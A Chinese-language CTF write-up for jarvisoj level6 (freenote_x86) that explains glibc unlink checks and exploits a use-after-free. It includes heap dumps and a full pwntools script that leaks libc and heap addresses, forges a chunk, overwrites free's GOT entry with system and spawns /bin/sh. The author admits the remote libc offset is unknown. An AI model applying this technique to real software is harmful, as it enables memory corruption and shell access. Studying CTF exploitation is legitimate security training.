jarvisoj(level6)--unlink
- glibc 判斷這個塊是 small chunk。
- 判斷前向合併,發現前一個 chunk 處於使用狀態,不需要前向合併。
- 判斷後向合併,發現後一個 chunk 處於空閒狀態,需要合併。
- 繼而對 nextchunk 採取 unlink 操作。
這裡需要清楚的一點是unlink本身是一個函式,unlink§進入函式的時候知道的只有P。 第一步就是找到P的前後的chunk。
unlink檢查的細節。會檢查P->fd->bk==P,P->bk->fd==P。
// 由於P已經在雙向連結串列中,所以有兩個地方記錄其大小,所以檢查一下其大小是否一致。 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ // fd bk if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ // next_size related if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV);
所以構造unlink的時候就出現了限制。 具體過程如下(以32位為例) 這裡是三部分是同一塊空間可以向chunk P中寫如資料,有一點需要注意fd後面的箭頭指向的內容就是fd裡面的內容,可以滿足bk位置處指向P,fd位置處指向P(跟ptr的指標位置處重合,填入的資料就是P的地址)(小寫的p和ptr是相同的) (這裡的p=ptr)只分析最後一步,BK->fd=FD執行這個其實就是畫個箭頭,也就是向BK的fd空位置處寫入資料,寫入的資料是ptr減去12,執行完之後的結果就是ptr=ptr-12
藉助unlink需要的條件:如果有堆溢位最好,如果沒有至少需要一個UAF漏洞在讓程式能夠第二次free。
資料的結構很簡單 先申請一個chunk大小是0xc18用來存放下一個chunk的資訊。 裡面存放的是標誌位1,size=8,下一個node的地址=0x08f81c20 …
pwndbg> x /100xw 0x8f81000
0x8f81000: 0x00000000 0x00000c19 0x00000100 0x00000002
0x8f81010: 0x00000001 0x00000008 0x08f81c20 0x00000001
0x8f81020: 0x00000008 0x08f81ca8 0x00000000 0x00000000
漏洞: 在free的時候沒有把指標設定為NULL,雖然堆edit有檢查,但是對free並沒有檢查,可以構造unlink。
思路:多次malloc小chunk然後free,之後malloc大chunk申請到原本free掉的空間。更改fd和bk還有prive_inuse位然後再次free就會實現上述的寫入。更改每個node的地址,實現任意地址寫。 (其實就是small bin或者unsort bin的double free) 利用需要:需要堆的地址(每個node的指標都是存放在堆裡的),需要libc的載入地址。
#########################get libc_base
local()
#remot()
new("A"*7) #0
new("B"*7)#1
gdb.attach(p)
delete(0)
new("0")
List()
p.recv(7)
main_addr=u32(p.recv(4))
print "main_addr="+hex(main_addr)
libc_base=main_addr-offset
print "libc_base="+hex(libc_base)
######################get heap_base
new("c"*0x7)#2
new("d"*0x7)#3
delete(0)
delete(2)
new('0')
List()
p.recv(7)
heap_base=u32(p.recv(4))-0xd28
print "heap_base="+hex(heap_base)
delete(0)
delete(1)
delete(3)
List()
構造fake chunk進行unlink
#################unlink
payload=p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)+p32(0x80)
payload=payload.ljust(0x80,'A')# chunk0
payload+=p32(0x80)+p32(0x80)
payload=payload.ljust(256,"A")#chunk1
payload+=p32(0x80)+p32(0x81)#chunk2
new(payload)
delete(1)
new("A"*20)
List()
這裡需要注意:unlink是三個chunk的操作要滿足 1.被unlink的chunk P中需要偽造size,fd,bk,還要注意一個next_prive_chunk_size。 2.需要P的下一個chunk的prive_size,prive_inuse=0 3.需要P的下一個chunk的下一個chunk的size的prive_inuse位為1
free掉P_next,設定P_next_next_prive_inuse=0,會檢查前一個chunk,為空,進行unlink(P)
執行的結果
pwndbg> x /100xw 0x9e2e000
0x9e2e000: 0x00000000 0x00000c19 0x00000100 0x00000001
0x9e2e010: 0x00000001 0x00000109 0x09e2e00c 0x00000001
0x9e2e020: 0x00000015 0x09e2ec28 0x00000000 0x00000000
0x9e2e030: 0x09e2ed30 0x00000000 0x00000000 0x09e2edb8
0x9e2e040: 0x00000000 0x00000000 0x00000000 0x00000000
chunk的P被寫入位(&P)-12 完整exp
from pwn import *
#context.log_level="debug"
offset=0x1b27b0
def local():
global p,elf,libc,env
env = {'LD_PRELOAD': './libc.so.6'}
p=process("./freenote_x86")
elf=ELF("./freenote_x86")
libc=ELF("./libc.so.6")
def new(content):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Length of new note: ")
p.sendline(str(len(content)+1))
p.recvuntil("Enter your note: ")
p.sendline(content)
p.recvuntil("Done.")
def List():
p.recvuntil("Your choice: ")
p.sendline("1")
def Edit(index,content):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Note number: ")
p.sendline(str(index))
p.recvuntil("Length of note: ")
p.sendline(str(len(content)+1))
p.recvuntil("Enter your note: ")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Note number: ")
p.sendline(str(index))
#########################get libc_base
local()
#remot()
new("A"*7) #0
new("B"*7)#1
delete(0)
new("0")
List()
p.recv(7)
main_addr=u32(p.recv(4))
print "main_addr="+hex(main_addr)
libc_base=main_addr-offset
print "libc_base="+hex(libc_base)
######################get heap_base
new("c"*0x7)#2
new("d"*0x7)#3
delete(0)
delete(2)
new('0')
List()
p.recv(7)
heap_base=u32(p.recv(4))-0xd28
print "heap_base="+hex(heap_base)
delete(0)
delete(1)
delete(3)
List()
#################unlink
payload=p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)+p32(0x80)
payload=payload.ljust(0x80,'A')# chunk0
payload+=p32(0x80)+p32(0x80)
payload=payload.ljust(256,"A")#chunk1
payload+=p32(0x80)+p32(0x81)#chunk2
new(payload)
delete(1)
new("A"*20)
List()
gdb.attach(p)
#############################reset got
system_addr=libc_base+libc.symbols["system"]
print "system_addr="+hex(system_addr)
#gdb.attach(p)
payload=p32(1)+p32(1)+p32(0x109)+p32(heap_base+0x18-12)#chunk0
payload+=p32(1)+p32(5)+p32(elf.got['free'])#chunk1
payload+=p32(1)+p32(len("/bin/sh\x00")+1)+p32(heap_base+0xd30)#chunk2
payload=payload.ljust(0x108,"A")
Edit(0,payload)
########################get shell
Edit(1,p32(system_addr))
Edit(2,"/bin/sh")
delete(2)
p.interactive()
裡面出現的偏移不知道,遠端和本地庫不一樣,不知道怎麼獲取到遠端庫偏移。 希望知道的大佬評論,感謝